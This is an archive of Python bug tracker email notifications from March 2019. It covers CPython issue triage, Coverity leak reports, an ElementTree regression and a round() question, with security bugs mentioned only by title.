https://github.com/python/cpython/commit/3fe7fa316f74ed630fbbcdf54564f15cda7cb045


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Thu Mar 14 06:28:02 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 10:28:02 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552559282.52.0.96764270316.issue31904@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Please stop to send new PRs which depend on other PRs which are not merged yet, it becomes too hard to follow :-( Let's focus on first PRs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Thu Mar 14 07:50:48 2019
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 14 Mar 2019 11:50:48 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552564248.71.0.167199674507.issue36276@roundup.psfhosted.org>


Senthil Kumaran <senthil at uthcode.com> added the comment:

Thanks for this report. Should we make this a duplicate of this issue30458 - as they are both referring to the same problem with the underlying library?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Thu Mar 14 08:11:56 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 12:11:56 +0000
Subject: [issue36216] CVE-2019-9636: urlsplit does not handle NFKC
 normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552565516.2.0.821708891405.issue36216@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
title: urlsplit does not handle NFKC normalization -> CVE-2019-9636: urlsplit does not handle NFKC normalization

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar 14 08:19:06 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Thu, 14 Mar 2019 12:19:06 +0000
Subject: [issue36287] Make ast.dump() not output optional default fields
In-Reply-To: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>
Message-ID: <1552565946.12.0.875444148401.issue36287@roundup.psfhosted.org>


Change by Emmanuel Arias <emmanuelarias30 at gmail.com>:


----------
nosy: +eamanu

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Thu Mar 14 08:56:53 2019
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 14 Mar 2019 12:56:53 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552568213.78.0.384504001995.issue35647@roundup.psfhosted.org>


Senthil Kumaran <senthil at uthcode.com> added the comment:

Got it, Larry. I wanted to track it and make sure you don't miss it. Looks like we have the PR from @xtreak for 3.4 and 3.5 branches.
Thank you!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Thu Mar 14 09:12:07 2019
From: report at bugs.python.org (Ned Deily)
Date: Thu, 14 Mar 2019 13:12:07 +0000
Subject: [issue36231] no "proper" header files on macOS 10.14 Mojave
In-Reply-To: <1552039427.3.0.599611853277.issue36231@roundup.psfhosted.org>
Message-ID: <1552569127.1.0.996977817362.issue36231@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for the report and for the PR offer but let's hold off on that for the moment: I'm planning to merge a somewhat different approach.

----------
assignee:  -> ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36231>
_______________________________________

From report at bugs.python.org  Thu Mar 14 09:17:06 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 14 Mar 2019 13:17:06 +0000
Subject: [issue15749] cgitb prints html for text when display disabled.
In-Reply-To: <1345523795.76.0.397222969623.issue15749@psf.upfronthosting.co.za>
Message-ID: <1552569426.28.0.424451268456.issue15749@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Hi R?mi, 

I think @r.david.murray would need to review the PR, based on his last comment.  That's why I was asking whether the patch should be converted to a PR.  There seemed to be a conflict between this and issue 12890 and I wasn't certain which parts of this one were still useful.

However, having the PR may make it easier to review, so thank you for opening it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15749>
_______________________________________

From report at bugs.python.org  Thu Mar 14 09:42:52 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 13:42:52 +0000
Subject: [issue36212] [2.7] Coverity scan: Modules/_hotshot.c ,
 Variable "s1" going out of scope leaks the storage it points to.
In-Reply-To: <1551880649.05.0.0730481787231.issue36212@roundup.psfhosted.org>
Message-ID: <1552570972.06.0.537137000064.issue36212@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
keywords: +patch
pull_requests: +12298
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36212>
_______________________________________

From report at bugs.python.org  Thu Mar 14 09:56:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 13:56:51 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552571811.31.0.682576406455.issue34160@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

This change broke docutils test suite: https://sourceforge.net/p/docutils/bugs/359/

Problems:

* I cannot see the change documented anywhere in https://docs.python.org/dev/whatsnew/3.8.html
* I don't see any simple workaround. It would be nice to add an opt-in option to sort attributes just to get Python 3.7 behavior.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:03:42 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 14 Mar 2019 14:03:42 +0000
Subject: [issue36202] Calling Py_DecodeLocale() before _PyPreConfig_Write()
 can produce mojibake
In-Reply-To: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>
Message-ID: <1552572222.22.0.636337446631.issue36202@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

Victor and I were discussing the appropriate behaviour for the "What do we do if _Py_PreInitialize() hasn't been called?" case, and Victor pointed out that the potential for mojibake provides a solid rationale for going back to the Python 3.6 behaviour: disable both C locale coercion *and* UTF-8 mode, and instead leave locale management to the embedding application.

That would also get us back to the originally intended behaviour of PEP 538, where it only happens by default in the CLI app, not the runtime support library. Back when I decided that doing that would be too complicated, the _Py_PreInitialize API didn't exist yet, and it didn't occur to me that the mojibake problem would affect UTF-8 mode as well.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:12:02 2019
From: report at bugs.python.org (Diego Rojas)
Date: Thu, 14 Mar 2019 14:12:02 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552572722.69.0.313327202497.issue34160@roundup.psfhosted.org>


Diego Rojas <rojastorrado at gmail.com> added the comment:

Victor, I thought that the news changes were only for major changes. 

In another hand, I could retake this bug in a few days with the issues that you mentioned.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:17:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 14:17:04 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552573024.6.0.319649315314.issue34160@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Victor, I thought that the news changes were only for major changes.

It's a backward incompatible change. It broke at least docutils. So it should be mentioned at least at:
https://docs.python.org/dev/whatsnew/3.8.html#changes-in-the-python-api

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:27:27 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 14 Mar 2019 14:27:27 +0000
Subject: [issue36266] Which module could not be found?
In-Reply-To: <1552340612.47.0.515886786831.issue36266@roundup.psfhosted.org>
Message-ID: <1552573647.05.0.173182460773.issue36266@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Okay, in that case we're just adding `shortname` into the formatted `message` in _PyImport_FindSharedFuncptrWindows in Python/dynload_win.c

I've marked this as "easy (C)" as it seems like a good first contribution for someone.

----------
keywords: +easy (C)
resolution: third party -> 
stage: resolved -> test needed
status: closed -> open
type:  -> enhancement
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:34:50 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 14:34:50 +0000
Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
In-Reply-To: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>
Message-ID: <1552574090.96.0.179117462473.issue36263@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I wrote a PR to fix OpenSSL:
https://github.com/openssl/openssl/pull/8483

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:35:08 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Thu, 14 Mar 2019 14:35:08 +0000
Subject: [issue36287] Make ast.dump() not output optional default fields
In-Reply-To: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>
Message-ID: <1552574108.8.0.913751357532.issue36287@roundup.psfhosted.org>


Change by Emmanuel Arias <emmanuelarias30 at gmail.com>:


----------
keywords: +patch
pull_requests: +12299
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:36:07 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 14 Mar 2019 14:36:07 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1552574167.4.0.0599262356842.issue33944@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

Just noting that https://bugs.python.org/issue14803 is probably our most comprehensive discussion of the coverage use case for arbitrary pre-__main__ code execution.

Steve also made a comment above about potentially turning encodings into a namespace package: that's difficult due to the non-empty `__init__.py` file that registers a couple of codec search functions as a side effect of import: https://github.com/python/cpython/blob/master/Lib/encodings/__init__.py

However, it would be possible to define a *new* namespace package for codec discovery that was searched after the standard search locations (so you could use it to add extra codecs, but not hijack existing ones).

----------
dependencies: +Add feature to allow code execution prior to __main__ invocation

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:36:08 2019
From: report at bugs.python.org (MeeranRizvi)
Date: Thu, 14 Mar 2019 14:36:08 +0000
Subject: [issue36288] Incorrect answer when using round()
Message-ID: <1552574168.05.0.903038491036.issue36288@roundup.psfhosted.org>


New submission from MeeranRizvi <hmmeeranrizvi18 at gmail.com>:

When using round() for calculation it gives the incorrect answer.

For Example:
round(1.5)
>>2(Which is correct)

But when we calculate:
round(2.5)
>>2(Should give 3 right?)

----------
components: Build
messages: 337921
nosy: MeeranRizvi
priority: normal
severity: normal
status: open
title: Incorrect answer when using round()
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36288>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:36:47 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Thu, 14 Mar 2019 14:36:47 +0000
Subject: [issue36287] Make ast.dump() not output optional default fields
In-Reply-To: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>
Message-ID: <1552574207.21.0.952279955467.issue36287@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

Hi @serhiy.storchaka,

I send a patch to Github to review. Let me know if is necessary unittest. 

Regards

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:39:35 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 14:39:35 +0000
Subject: [issue36289] [2.7] Coverity scan: Modules/_io/bufferedio.c
 leaked_storage: Variable "data" going out of scope leaks the storage it
 points to.
Message-ID: <1552574375.17.0.27732361131.issue36289@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

Coverity scan reports this for bufferedio.c :

Error: RESOURCE_LEAK (CWE-772): [#def23]
Python-2.7.15/Modules/_io/bufferedio.c:1353: alloc_fn: Storage is returned from allocation function "PyString_FromStringAndSize".
Python-2.7.15/Objects/stringobject.c:88:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/stringobject.c:88:5: var_assign: Assigning: "op" = "PyObject_Malloc(37UL + size)".
Python-2.7.15/Objects/stringobject.c:111:5: return_alloc: Returning allocated memory "op".
Python-2.7.15/Modules/_io/bufferedio.c:1353: var_assign: Assigning: "data" = storage returned from "PyString_FromStringAndSize(self->buffer + self->pos, current_size)".
Python-2.7.15/Modules/_io/bufferedio.c:1366: leaked_storage: Variable "data" going out of scope leaks the storage it points to.
 1364|           if (res == NULL) {
 1365|               Py_DECREF(chunks);
 1366|->             return NULL;
 1367|           }
 1368|           Py_CLEAR(res);

----------
components: Extension Modules
messages: 337923
nosy: cstratak
priority: normal
severity: normal
status: open
title: [2.7] Coverity scan: Modules/_io/bufferedio.c leaked_storage: Variable "data" going out of scope leaks the storage it points to.
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36289>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:40:39 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 14 Mar 2019 14:40:39 +0000
Subject: [issue36288] Incorrect answer when using round()
In-Reply-To: <1552574168.05.0.903038491036.issue36288@roundup.psfhosted.org>
Message-ID: <1552574439.55.0.885505527296.issue36288@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Thanks for submitting a report MeeranRizvi.

This is the expected behavior, according to the IEEE 754 Python round to nearest even integer. This is called the bankers' rounding and is done (I think) to limitate the propagation of errors.

I suggest we close this as not a bug.

----------
nosy: +remi.lapeyre
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36288>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:44:13 2019
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 14 Mar 2019 14:44:13 +0000
Subject: [issue36288] Incorrect answer when using round()
In-Reply-To: <1552574168.05.0.903038491036.issue36288@roundup.psfhosted.org>
Message-ID: <1552574653.06.0.181884460283.issue36288@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

Please see the documentation for `round`, it explains this: https://docs.python.org/3/library/functions.html#round

----------
nosy: +zach.ware -remi.lapeyre
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
type: behavior -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36288>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:44:39 2019
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 14 Mar 2019 14:44:39 +0000
Subject: [issue36288] Incorrect answer when using round()
In-Reply-To: <1552574168.05.0.903038491036.issue36288@roundup.psfhosted.org>
Message-ID: <1552574679.97.0.587794336545.issue36288@roundup.psfhosted.org>


Change by Zachary Ware <zachary.ware at gmail.com>:


----------
components:  -Build

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36288>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:45:00 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 14:45:00 +0000
Subject: [issue36289] [2.7] Coverity scan: Modules/_io/bufferedio.c
 leaked_storage: Variable "data" going out of scope leaks the storage it
 points to.
In-Reply-To: <1552574375.17.0.27732361131.issue36289@roundup.psfhosted.org>
Message-ID: <1552574700.34.0.221740687936.issue36289@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
keywords: +patch
pull_requests: +12300
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36289>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:47:19 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 14 Mar 2019 14:47:19 +0000
Subject: [issue36290] _ast.ast_type_init does not handle args and kwargs
 correctly.
Message-ID: <1552574839.1.0.4927355759.issue36290@roundup.psfhosted.org>


New submission from R?mi Lapeyre <remi.lapeyre at henki.fr>:

While looking at issue 36287 I noticed that the argument parsing logic in _ast.ast_type_init is wrong, for example ast.Constant takes only one argument:

? ./python.exe 
Python 3.8.0a2+ (remotes/origin/HEAD-1-ged9b774cf3:ed9b774cf3, Mar 14 2019, 00:50:47) 
[Clang 10.0.0 (clang-1000.10.44.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import ast
>>> ast.Constant(1, 2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: Constant constructor takes at most 1 positional argument
>>> ast.Constant(1)
<_ast.Constant object at 0x105b52950>
>>> ast.Constant(value=2)
<_ast.Constant object at 0x105b528f0>
>>> ast.Constant(1, value=2)
<_ast.Constant object at 0x105b529b0>
>>> ast.Constant(1, value=2).value
2


The last lines should have raised TypeError. I could reproduce the issue with Python 2.7, 3.7 and 3.8 but I'm not sure it's worth fixing for 2.7.

I will write a patch to fix the issue.

----------
components: Library (Lib)
messages: 337926
nosy: remi.lapeyre
priority: normal
severity: normal
status: open
title: _ast.ast_type_init does not handle args and kwargs correctly.
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36290>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:50:44 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 14:50:44 +0000
Subject: [issue36291] [2.7] Coverity Scan: Modules/_json.c: leaked_storage:
 Variable "numstr" going out of scope leaks the storage it points to.
Message-ID: <1552575044.21.0.83724998677.issue36291@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

Coverity reports a leak within the json module:

Error: RESOURCE_LEAK (CWE-772): [#def26]
Python-2.7.15/Modules/_json.c:1367: alloc_fn: Storage is returned from allocation function "PyString_FromStringAndSize".
Python-2.7.15/Objects/stringobject.c:88:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/stringobject.c:88:5: var_assign: Assigning: "op" = "PyObject_Malloc(37UL + size)".
Python-2.7.15/Objects/stringobject.c:111:5: return_alloc: Returning allocated memory "op".
Python-2.7.15/Modules/_json.c:1367: var_assign: Assigning: "numstr" = storage returned from "PyString_FromStringAndSize(&str[start], idx - start)".
Python-2.7.15/Modules/_json.c:1379: leaked_storage: Variable "numstr" going out of scope leaks the storage it points to.
 1377|                                                NULL, NULL);
 1378|               if (d == -1.0 && PyErr_Occurred())
 1379|->                 return NULL;
 1380|               rval = PyFloat_FromDouble(d);
 1381|           }

----------
components: Extension Modules
messages: 337927
nosy: cstratak
priority: normal
severity: normal
status: open
title: [2.7] Coverity Scan: Modules/_json.c: leaked_storage: Variable "numstr" going out of scope leaks the storage it points to.
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36291>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:54:58 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 14:54:58 +0000
Subject: [issue12974] array module: deprecate '__int__' conversion support for
 array elements
In-Reply-To: <1315961295.78.0.425877150438.issue12974@psf.upfronthosting.co.za>
Message-ID: <1552575298.65.0.0590085589737.issue12974@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Deprecate implicit truncating when convert Python numbers to C integers: use __index__, not __int__

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12974>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:58:36 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 14:58:36 +0000
Subject: [issue33002] Making a class formattable as hex/oct integer with
 printf-style formatting requires both __int__ and __index__ for no good
 reason
In-Reply-To: <1520284034.09.0.467229070634.issue33002@psf.upfronthosting.co.za>
Message-ID: <1552575516.32.0.943500411881.issue33002@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Resolved in issue36048.

----------
nosy: +serhiy.storchaka
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Deprecate implicit truncating when convert Python numbers to C integers: use __index__, not __int__

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33002>
_______________________________________

From report at bugs.python.org  Thu Mar 14 10:58:51 2019
From: report at bugs.python.org (Julien Palard)
Date: Thu, 14 Mar 2019 14:58:51 +0000
Subject: [issue36291] [2.7] Coverity Scan: Modules/_json.c: leaked_storage:
 Variable "numstr" going out of scope leaks the storage it points to.
In-Reply-To: <1552575044.21.0.83724998677.issue36291@roundup.psfhosted.org>
Message-ID: <1552575531.64.0.83647518177.issue36291@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
assignee:  -> matrixise
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36291>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:00:17 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 15:00:17 +0000
Subject: [issue36291] [2.7] Coverity Scan: Modules/_json.c: leaked_storage:
 Variable "numstr" going out of scope leaks the storage it points to.
In-Reply-To: <1552575044.21.0.83724998677.issue36291@roundup.psfhosted.org>
Message-ID: <1552575617.83.0.265216200354.issue36291@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
keywords: +patch
pull_requests: +12301
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36291>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:02:50 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 15:02:50 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1552575770.3.0.371836551907.issue36268@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Do you mind to create a PR?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:07:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:07:36 +0000
Subject: [issue36212] [2.7] Coverity scan: Modules/_hotshot.c ,
 Variable "s1" going out of scope leaks the storage it points to.
In-Reply-To: <1551880649.05.0.0730481787231.issue36212@roundup.psfhosted.org>
Message-ID: <1552576056.47.0.606599723391.issue36212@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Note for myself: Python 3 isn't affected, _hotshot module has been removed from Python 3.

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36212>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:11:07 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:11:07 +0000
Subject: [issue36212] [2.7] Coverity scan: Modules/_hotshot.c ,
 Variable "s1" going out of scope leaks the storage it points to.
In-Reply-To: <1551880649.05.0.0730481787231.issue36212@roundup.psfhosted.org>
Message-ID: <1552576267.1.0.569777254389.issue36212@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 2832ad53358e3fbc4bdc601b9f3fa04dd0deae46 by Victor Stinner (stratakis) in branch '2.7':
[2.7] bpo-36212: Fix two possible reference leaks in the hotshot module (GH-12327)
https://github.com/python/cpython/commit/2832ad53358e3fbc4bdc601b9f3fa04dd0deae46


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36212>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:11:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:11:36 +0000
Subject: [issue36212] [2.7] Coverity scan: Modules/_hotshot.c ,
 Variable "s1" going out of scope leaks the storage it points to.
In-Reply-To: <1551880649.05.0.0730481787231.issue36212@roundup.psfhosted.org>
Message-ID: <1552576296.81.0.896170381423.issue36212@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Charalampos, I merged your PR. I made minor changes in your commit message.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36212>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:16:32 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 15:16:32 +0000
Subject: [issue36292] Coverity scan: Resource leaks in longobject.c
Message-ID: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

The coverity scan was run on python2, however the same defect seems to exist in python3 as well.

Error: RESOURCE_LEAK (CWE-772): [#def69]
Python-2.7.15/Objects/longobject.c:3793: alloc_fn: Storage is returned from allocation function "_PyLong_New".
Python-2.7.15/Objects/longobject.c:76:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/longobject.c:76:5: identity_transfer: Passing "(PyVarObject *)PyObject_Malloc((size_t)(PyLong_Type.tp_basicsize + size * PyLong_Type.tp_itemsize + 7L & 0xfffffffffffffff8L))" as argument 1 to function "PyObject_InitVar", which returns that argument.
Python-2.7.15/Objects/object.c:237:5: return_parm: Returning parameter "op".
Python-2.7.15/Objects/longobject.c:76:5: return_alloc_fn: Directly returning storage allocated by "PyObject_InitVar".
Python-2.7.15/Objects/longobject.c:3793: var_assign: Assigning: "z" = storage returned from "_PyLong_New(size_a)".
Python-2.7.15/Objects/longobject.c:3797: var_assign: Assigning: "a" = "z".
Python-2.7.15/Objects/longobject.c:3847: leaked_storage: Variable "z" going out of scope leaks the storage it points to.
Python-2.7.15/Objects/longobject.c:3847: leaked_storage: Returning without freeing "a" leaks the storage that it points to.
 3845|       default:
 3846|           PyErr_BadArgument();
 3847|->         return NULL;
 3848|       }
 3849|   

Error: RESOURCE_LEAK (CWE-772): [#def70]
Python-2.7.15/Objects/longobject.c:3793: alloc_fn: Storage is returned from allocation function "_PyLong_New".
Python-2.7.15/Objects/longobject.c:76:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/longobject.c:76:5: identity_transfer: Passing "(PyVarObject *)PyObject_Malloc((size_t)(PyLong_Type.tp_basicsize + size * PyLong_Type.tp_itemsize + 7L & 0xfffffffffffffff8L))" as argument 1 to function "PyObject_InitVar", which returns that argument.
Python-2.7.15/Objects/object.c:237:5: return_parm: Returning parameter "op".
Python-2.7.15/Objects/longobject.c:76:5: return_alloc_fn: Directly returning storage allocated by "PyObject_InitVar".
Python-2.7.15/Objects/longobject.c:3793: var_assign: Assigning: "z" = storage returned from "_PyLong_New(size_a)".
Python-2.7.15/Objects/longobject.c:3797: var_assign: Assigning: "a" = "z".
Python-2.7.15/Objects/longobject.c:3820: var_assign: Assigning: "z" = "a".
Python-2.7.15/Objects/longobject.c:3820: var_assign: Assigning: "b" = "z".
Python-2.7.15/Objects/longobject.c:3847: leaked_storage: Variable "z" going out of scope leaks the storage it points to.
Python-2.7.15/Objects/longobject.c:3847: leaked_storage: Returning without freeing "b" leaks the storage that it points to.
 3845|       default:
 3846|           PyErr_BadArgument();
 3847|->         return NULL;
 3848|       }
 3849|

----------
components: Interpreter Core
messages: 337933
nosy: cstratak
priority: normal
severity: normal
